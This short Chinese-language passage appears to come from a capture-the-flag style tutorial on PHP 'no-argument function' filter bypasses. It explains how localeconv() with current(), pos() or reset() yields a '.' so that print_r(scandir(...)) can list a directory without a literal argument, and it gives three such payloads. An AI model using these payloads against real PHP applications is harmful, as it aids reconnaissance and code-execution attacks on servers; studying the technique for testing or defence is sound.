無參數的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數
print_r(scandir('.'))
可以用來查看當前目錄所有文件名
但是我們這里說的是要構造無參數的函數,所以我們要做的就是去掉這個點號
- localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。
- current() 函數返回數組中的當前元素(單元),默認取第一個值,
- pos() 同 current() ,是current()的別名
- reset() 函數返回數組第一個單元的值,如果數組為空則返回 FALSE
**localeconv() ** 函數 返回數組的第一項就是 . (小數點),如下圖
我們可以通過讀取該小數點代替print_r(scandir('.'))中的小數點 ,讀取數組第一項可以的函數有current()、pos() 、reset()
所以最終我們可以構造如下:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));